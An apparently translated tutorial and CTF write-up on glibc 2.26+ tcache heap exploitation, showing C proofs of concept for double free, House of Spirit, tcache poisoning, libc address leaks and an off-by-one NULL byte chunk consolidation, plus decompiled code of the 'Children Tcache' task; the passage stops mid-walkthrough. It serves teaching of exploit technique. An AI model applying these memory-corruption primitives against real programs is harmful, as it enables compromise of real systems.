( Original text by  )

This article is intended for the people who already have some knowledge about heap exploitation. If you already know some heap attacks on glibc<2.26 it’ll be fully understandable to you. But if you don’t, don’t worry — I’ve tried to make this post approachable for everyone with just basic knowledge. If you really know nothing about the topic, I recommend heap-exploitation.

Tcache is an internal mechanism responsible for heap management. It was introduced in glibc 2.26 in the year 2017. It’s objective is to speed up the heap management. Older algorithms are not removed, but they are still used sometimes — for example for bigger chunks, or when an appropriate tcache bin is full. But heap exploitation with this mechanism is a lot easier due to a lack of heap integrity checks.

The convention used in this post is that we call the pointer to the next chunk 

fd

, and to the previous — 

bk

 as it is called originally in normal heap chunk.

Tcache overview

You can grab glibc 2.26 from here. The all source code that is interesting for us is located in a file malloc/malloc.c.

In this version of glibc two new functions were created:


<span class="k">static</span> <span class="kt">void</span>
<span class="nf">tcache_put</span> <span class="p">(</span><span class="n">mchunkptr</span> <span class="n">chunk</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">tc_idx</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">tcache_entry</span> <span class="o">*</span><span class="n">e</span> <span class="o">=</span> <span class="p">(</span><span class="n">tcache_entry</span> <span class="o">*</span><span class="p">)</span> <span class="n">chunk2mem</span> <span class="p">(</span><span class="n">chunk</span><span class="p">);</span>
  <span class="n">assert</span> <span class="p">(</span><span class="n">tc_idx</span> <span class="o">&lt;</span> <span class="n">TCACHE_MAX_BINS</span><span class="p">);</span>
  <span class="n">e</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">=</span> <span class="n">tcache</span><span class="o">-&gt;</span><span class="n">entries</span><span class="p">[</span><span class="n">tc_idx</span><span class="p">];</span>
  <span class="n">tcache</span><span class="o">-&gt;</span><span class="n">entries</span><span class="p">[</span><span class="n">tc_idx</span><span class="p">]</span> <span class="o">=</span> <span class="n">e</span><span class="p">;</span>
  <span class="o">++</span><span class="p">(</span><span class="n">tcache</span><span class="o">-&gt;</span><span class="n">counts</span><span class="p">[</span><span class="n">tc_idx</span><span class="p">]);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="o">*</span>
<span class="nf">tcache_get</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">tc_idx</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">tcache_entry</span> <span class="o">*</span><span class="n">e</span> <span class="o">=</span> <span class="n">tcache</span><span class="o">-&gt;</span><span class="n">entries</span><span class="p">[</span><span class="n">tc_idx</span><span class="p">];</span>
  <span class="n">assert</span> <span class="p">(</span><span class="n">tc_idx</span> <span class="o">&lt;</span> <span class="n">TCACHE_MAX_BINS</span><span class="p">);</span>
  <span class="n">assert</span> <span class="p">(</span><span class="n">tcache</span><span class="o">-&gt;</span><span class="n">entries</span><span class="p">[</span><span class="n">tc_idx</span><span class="p">]</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">);</span>
  <span class="n">tcache</span><span class="o">-&gt;</span><span class="n">entries</span><span class="p">[</span><span class="n">tc_idx</span><span class="p">]</span> <span class="o">=</span> <span class="n">e</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">;</span>
  <span class="o">--</span><span class="p">(</span><span class="n">tcache</span><span class="o">-&gt;</span><span class="n">counts</span><span class="p">[</span><span class="n">tc_idx</span><span class="p">]);</span>
  <span class="k">return</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span> <span class="n">e</span><span class="p">;</span>
<span class="p">}</span>

Both of these functions can be called at the beginning of functions _int_free and __libc_malloc.

tcache_put

 is called when the requested size of the allocated region is not greater than 

0x408

 and tcache bin that is appropriate for a given size is not full. A maximum number of chunks in one tcache bin is 

mp_.tcache_count

 and this variable is set to 

7

 by default. This variable is set here and the root is at the following piece of code:


/* This is another arbitrary limit, which tunables can change.  Each
   tcache bin will hold at most this number of chunks.  */
# define TCACHE_FILL_COUNT 7
#endif
tcache_get

 is called when we request a chunk of the size of tcache bin and the appropriate bin contains some chunks. Every tcache bin contains chunks of only one size. From the code above we can see that it is a single linked list, similar to fastbin — it contains only a pointer to a next chunk. Also, the list is 

LIFO

, like in fastbins. But there is a difference — each tcache bin remebers how many chunks belong to this bin in a variable 

tcache-&gt;counts[tc_idx]

.

What’s strange 

calloc

 doesn’t allocate from tcache bin.

If you want to test how tcache behaves, you can use pwndbg and compile malloc_playground.


a@x:~/Desktop/how2heap_mycp$ gdb -q ./mp
pwndbg: loaded 170 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)


Reading symbols from ./mp...(no debugging symbols found)...done.
pwndbg&gt; r
Starting program: /home/a/Desktop/how2heap_mycp/mp
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
&gt; malloc 0x50
==&gt; 0x555555559670
&gt; malloc 0x50
==&gt; 0x5555555596d0
&gt; malloc 0x61
==&gt; 0x555555559730
&gt; free 0x555555559670
==&gt; ok
&gt; free 0x5555555596d0
==&gt; ok
&gt; free 0x555555559730
==&gt; ok
&gt; ^C
Program received signal SIGINT, Interrupt.
[...]
pwndbg&gt; bins
tcachebins
0x60 [  2]: 0x5555555596d0 —▸ 0x555555559670 ◂— 0x0
0x70 [  1]: 0x555555559730 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg&gt;

Tcache attacks

Due to a lack of integrity checks in tcache, many attacks are easier.

double free

Let’s consider a double free vulnerability as a first example:


<span class="cp">#include &lt;stdlib.h&gt;
#include &lt;stdio.h&gt;
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">a</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x38</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">a</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">a</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x38</span><span class="p">));</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x38</span><span class="p">));</span>
<span class="p">}</span>

As a result, we got the same pointer 2 times.

On older glibc (<2.26) to get the same result this attack is a bit more complicated:


<span class="cp">#include &lt;stdlib.h&gt;
#include &lt;stdio.h&gt;
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%s"</span><span class="p">,</span><span class="s">"hello</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">a</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x38</span><span class="p">);</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">b</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x38</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">a</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">b</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">a</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x38</span><span class="p">));</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x38</span><span class="p">));</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x38</span><span class="p">));</span>
<span class="p">}</span>

output:


hello
0x602420
0x602460
0x602420

We additionally need to free another chunk between due to this integrity check — we cannot add a new chunk to a fastbin list when there is already the same chunk on top. 

printf

 is called at the beginning because program crashes otherwise. Probably this is because when printf is called for the first time it initializes his buffer by mallocing some area.

House of Spirit

House of Spirit is also super easy:


<span class="cp">#include &lt;stdlib.h&gt;
#include &lt;stdio.h&gt;
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
    <span class="kt">long</span> <span class="kt">int</span> <span class="n">var</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>
    <span class="n">var</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x40</span><span class="p">;</span> <span class="c1">// set the size of the chunk to 0x40
</span>
    <span class="n">free</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var</span><span class="p">[</span><span class="mi">2</span><span class="p">]);</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">a</span><span class="o">=</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x38</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%p %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">a</span> <span class="p">,</span><span class="o">&amp;</span><span class="n">var</span><span class="p">[</span><span class="mi">2</span><span class="p">]);</span>
<span class="p">}</span>

output:


0x7fff899700c0 0x7fff899700c0

By freeing never allocated region we put it in the tcache bin list. And we can obtain this region when malloc is called with appropriate size as an argument. This is useful when we have the ability to overwrite some pointer by buffer overflow.

In older glibc we needed to put more effort due to this healthcheck. We need to create another fake chunk after the fried one. Like here.

tcache/fastbin poisoning

If we want to exploit malloc to return a pointer to a controlled location we can simply overwrite a pointer to a next chunk. We can forget about this integrity check in older mechanism:


<span class="cp">#include &lt;stdlib.h&gt;
#include &lt;stdio.h&gt;
</span>
<span class="kt">char</span> <span class="n">var</span><span class="p">[]</span><span class="o">=</span><span class="s">"aaaaaaaaaaaaaaa"</span><span class="p">;</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
    <span class="kt">long</span> <span class="o">*</span><span class="n">a</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x38</span><span class="p">);</span>
    <span class="kt">long</span> <span class="o">*</span><span class="n">b</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x38</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">a</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">b</span><span class="p">);</span>
    <span class="c1">// tcache bin 0x38 contains: b -&gt; a
</span> <span class="n">b</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">=&amp;</span><span class="n">var</span><span class="p">;</span>
    <span class="c1">// tcache bin 0x38 contains: b -&gt; var
</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x38</span><span class="p">);</span>
    <span class="c1">// tcache bin 0x38 contains: var
</span> <span class="kt">char</span> <span class="o">*</span><span class="n">c</span><span class="o">=</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x38</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">c</span><span class="p">);</span>
<span class="p">}</span>

output:


aaaaaaaaaaaaaaa

We cannot do this by freeing only one chunk because each tcache bin remebers how many chunks belong to this bin.

libc leak

If we want to leak the libc address on glibc 2.26 we can do this:


<span class="cp">#include &lt;stdlib.h&gt;
#include &lt;stdio.h&gt;
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
    <span class="kt">long</span> <span class="o">*</span><span class="n">a</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">);</span>
    <span class="n">malloc</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">a</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">a</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="p">}</span>

This program prints 

fd

 of the chunk inside an unsorted bin. 

fd

 of the last chunk and 

bk

 in the first chunk in an unsorted bin are set to a pointer in libc.

If we can request malloc of at most 

0x100

 size this won’t work because the fried chunk won’t go to an unsorted bin list but to a tcache bin. It works only with older glibc:


<span class="cp">#include &lt;stdlib.h&gt;
#include &lt;stdio.h&gt;
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span> <span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
    <span class="kt">long</span> <span class="o">*</span><span class="n">a</span><span class="o">=</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x100</span><span class="p">);</span>
    <span class="kt">long</span> <span class="o">*</span><span class="n">b</span><span class="o">=</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">a</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">a</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="p">}</span>

Hopefully if we make tcache bin full (max capacity is 7 chunks), deallocated chunk will be put in unsorted bin:


<span class="cp">#include &lt;stdlib.h&gt;
#include &lt;stdio.h&gt;
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span> <span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
    <span class="kt">long</span><span class="o">*</span> <span class="n">t</span><span class="p">[</span><span class="mi">7</span><span class="p">];</span>
    <span class="kt">long</span> <span class="o">*</span><span class="n">a</span><span class="o">=</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x100</span><span class="p">);</span>
    <span class="kt">long</span> <span class="o">*</span><span class="n">b</span><span class="o">=</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
   
    <span class="c1">// make tcache bin full
</span> <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="mi">7</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span>
        <span class="n">t</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x100</span><span class="p">);</span>
    <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="mi">7</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span>
        <span class="n">free</span><span class="p">(</span><span class="n">t</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
   
    <span class="n">free</span><span class="p">(</span><span class="n">a</span><span class="p">);</span>
    <span class="c1">// a is put in an unsorted bin because the tcache bin of this size is full
</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">a</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="p">}</span>

tcache attacks summary

More attacks exist for glibc with tcache. For example House of Force works in the same way as previously. Also, it’s easy to make overlapping chunks by overwriting 

size

 to a bigger value. After tcache was introduced heap exploitation is much easier. The exception is a buffer overflow by a single NULL byte, like in children tcache CTF task. I used an old attack with chunks of the smallbin size. I prevented them from going into the tcache, by making the tcache bin full.

Children Tcache overview

In this task we have 2 binaries: task and libc

The version of libc is 2.27 but there is no difference between 2.26 and 2.27 for us:


a@x:~/Desktop/children_tcache$ strings libc.so.6 | grep LIBC
[...]
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.

Decompiled binary looks like below:


<span class="kt">unsigned</span> <span class="n">__int64</span> <span class="nf">new_heap</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kt">signed</span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+Ch] [rbp-2034h]
</span>  <span class="kt">char</span> <span class="o">*</span><span class="n">ptr</span><span class="p">;</span> <span class="c1">// [rsp+10h] [rbp-2030h]
</span>  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">size</span><span class="p">;</span> <span class="c1">// [rsp+18h] [rbp-2028h]
</span>  <span class="kt">char</span> <span class="n">s</span><span class="p">;</span> <span class="c1">// [rsp+20h] [rbp-2020h]
</span>  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// [rsp+2038h] [rbp-8h]
</span>
  <span class="n">v5</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
  <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x2010uLL</span><span class="p">);</span>
  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">i</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="p">)</span>
    <span class="p">{</span>
      <span class="n">puts</span><span class="p">(</span><span class="s">":("</span><span class="p">);</span>
      <span class="k">return</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">)</span> <span class="o">^</span> <span class="n">v5</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">pointers</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">)</span>
      <span class="k">break</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Size:"</span><span class="p">);</span>
  <span class="n">size</span> <span class="o">=</span> <span class="n">read_atoll</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">size</span> <span class="o">&gt;</span> <span class="mh">0x2000</span> <span class="p">)</span>
    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">2</span><span class="p">);</span>
  <span class="n">ptr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">ptr</span> <span class="p">)</span>
    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Data:"</span><span class="p">);</span>
  <span class="n">read_data</span><span class="p">((</span><span class="n">__int64</span><span class="p">)</span><span class="o">&amp;</span><span class="n">s</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
  <span class="n">strcpy</span><span class="p">(</span><span class="n">ptr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">s</span><span class="p">);</span>
  <span class="n">pointers</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">ptr</span><span class="p">;</span>
  <span class="n">sizes</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">size</span><span class="p">;</span>
  <span class="k">return</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">)</span> <span class="o">^</span> <span class="n">v5</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">show_heap</span><span class="p">()</span>
<span class="p">{</span>
  <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">v0</span><span class="p">;</span> <span class="c1">// rax
</span>  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// [rsp+8h] [rbp-8h]
</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Index:"</span><span class="p">);</span>
  <span class="n">v2</span> <span class="o">=</span> <span class="n">read_atoll</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">v2</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="p">)</span>
    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">3</span><span class="p">);</span>
  <span class="n">v0</span> <span class="o">=</span> <span class="n">pointers</span><span class="p">[</span><span class="n">v2</span><span class="p">];</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">v0</span> <span class="p">)</span>
    <span class="n">LODWORD</span><span class="p">(</span><span class="n">v0</span><span class="p">)</span> <span class="o">=</span> <span class="n">puts</span><span class="p">(</span><span class="n">pointers</span><span class="p">[</span><span class="n">v2</span><span class="p">]);</span>
  <span class="k">return</span> <span class="p">(</span><span class="kt">signed</span> <span class="kt">int</span><span class="p">)</span><span class="n">v0</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">delete_heap</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// [rsp+8h] [rbp-8h]
</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Index:"</span><span class="p">);</span>
  <span class="n">v1</span> <span class="o">=</span> <span class="n">read_atoll</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">v1</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="p">)</span>
    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">3</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">pointers</span><span class="p">[</span><span class="n">v1</span><span class="p">]</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">memset</span><span class="p">((</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">pointers</span><span class="p">[</span><span class="n">v1</span><span class="p">],</span> <span class="mh">0xDA</span><span class="p">,</span> <span class="n">sizes</span><span class="p">[</span><span class="n">v1</span><span class="p">]);</span>
    <span class="n">free</span><span class="p">((</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">pointers</span><span class="p">[</span><span class="n">v1</span><span class="p">]);</span>
    <span class="n">pointers</span><span class="p">[</span><span class="n">v1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
    <span class="n">sizes</span><span class="p">[</span><span class="n">v1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">puts</span><span class="p">(</span><span class="s">":)"</span><span class="p">);</span>
<span class="p">}</span>

TL;DR:

We can

  • create chunk on the heap and read data into it
  • delete a chunk
  • print data in a chunk

Everything is fine, except 

new_heap

 function which is vulnerable to buffer overflow by single NULL byte. Before free, the area is filled with 

0xDA

 byte. We can have max 10 chunks allocated at the same time and maximum requested size of a chunk is 

0x2000

.

In older version of glibc this attack works:


<span class="cp">#include&lt;stdlib.h&gt;
#include&lt;stdio.h&gt;
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
    <span class="c1">// alocate 3 chunks
</span>    <span class="kt">char</span> <span class="o">*</span><span class="n">a</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x108</span><span class="p">);</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">b</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0xf8</span><span class="p">);</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">c</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0xf8</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"a: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">a</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"b: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">b</span><span class="p">);</span>

    <span class="n">free</span><span class="p">(</span><span class="n">a</span><span class="p">);</span>
   
    <span class="c1">// buffer overflow b by 1 NULL byte
</span>    <span class="n">b</span><span class="p">[</span><span class="mh">0xf8</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\x00'</span><span class="p">;</span> <span class="c1">//clear prev in use of c
</span>    <span class="o">*</span><span class="p">(</span><span class="kt">long</span><span class="o">*</span><span class="p">)(</span><span class="n">b</span><span class="o">+</span><span class="mh">0xf0</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x210</span><span class="p">;</span> <span class="c1">//We can set prev_size of c to 0x210 bytes
</span>    
    <span class="c1">// c have prev_in_use=0 and prev_size=0x210 so it will consolidate
</span>    <span class="c1">// with a and b and it will be put in unsorted bin
</span>    <span class="n">free</span><span class="p">(</span><span class="n">c</span><span class="p">);</span>

    <span class="c1">// now we can allocate chunks from the area of  a|b|c
</span>    <span class="kt">char</span> <span class="o">*</span><span class="n">A</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x108</span><span class="p">);</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">B</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0xF8</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"A: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">A</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"B: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">B</span><span class="p">);</span>

    <span class="n">free</span><span class="p">(</span><span class="n">b</span><span class="p">);</span>
    <span class="c1">// leak libc
</span>    <span class="n">printf</span><span class="p">(</span><span class="s">"B content: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,((</span><span class="kt">long</span><span class="o">*</span><span class="p">)</span><span class="n">B</span><span class="p">)[</span><span class="mi">0</span><span class="p">]);</span>
<span class="p">}</span>

output:


a: 0x602010
b: 0x602120
A: 0x602010
B: 0x602120
B content: 0x7ffff7dd1b78

Normally, when we free chunk of the size of smallbin, there is a check whether its neighbour is freed. If so, it will consolidate with it. When we free 

c

 chunk it consolidates with 

a

 and 

b

 because of 2 reasons:

  • We have cleared the 
    PREV_INUSE

     bit of chunk 

    c

     so it thinks that its previous neighbour is freed.

  • We have set 
    prev_size

     of chunk 

    c

     to value 

    0x210

     which is a total size of chunks 

    a

     and 

    b

    .

This attack can be shorter:


<span class="cp">#include&lt;stdlib.h&gt;
#include&lt;stdio.h&gt;
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
    <span class="c1">// alocate 3 chunks
</span>    <span class="kt">char</span> <span class="o">*</span><span class="n">a</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x108</span><span class="p">);</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">b</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0xf8</span><span class="p">);</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">c</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0xf8</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"a: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">a</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"b: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">b</span><span class="p">);</span>

    <span class="n">free</span><span class="p">(</span><span class="n">a</span><span class="p">);</span>
   
    <span class="c1">// buffer overflow b by 1 NULL byte
</span>    <span class="n">b</span><span class="p">[</span><span class="mh">0xf8</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\x00'</span><span class="p">;</span> <span class="c1">//clear prev in use of c
</span>    <span class="o">*</span><span class="p">(</span><span class="kt">long</span><span class="o">*</span><span class="p">)(</span><span class="n">b</span><span class="o">+</span><span class="mh">0xf0</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x210</span><span class="p">;</span> <span class="c1">//We can set prev_size of c to 0x210 bytes
</span>    
    <span class="c1">// c have prev_in_use=0 and prev_size=0x210 so it will consolidate
</span>    <span class="c1">// with a and b and it will be put in unsorted bin
</span>    <span class="n">free</span><span class="p">(</span><span class="n">c</span><span class="p">);</span>

    <span class="c1">// now we can allocate chunks from the area of a|b|c
</span>    <span class="kt">char</span> <span class="o">*</span><span class="n">A</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x108</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"A: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">A</span><span class="p">);</span>

    <span class="c1">// leak libc
</span>    <span class="n">printf</span><span class="p">(</span><span class="s">"B content: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,((</span><span class="kt">long</span><span class="o">*</span><span class="p">)</span><span class="n">b</span><span class="p">)[</span><span class="mi">0</span><span class="p">]);</span>
<span class="p">}</span>

a: 0x602010
b: 0x602120
A: 0x602010
B content: 0x7ffff7dd1b78

In the end, we skipped allocation and deletion of 

B

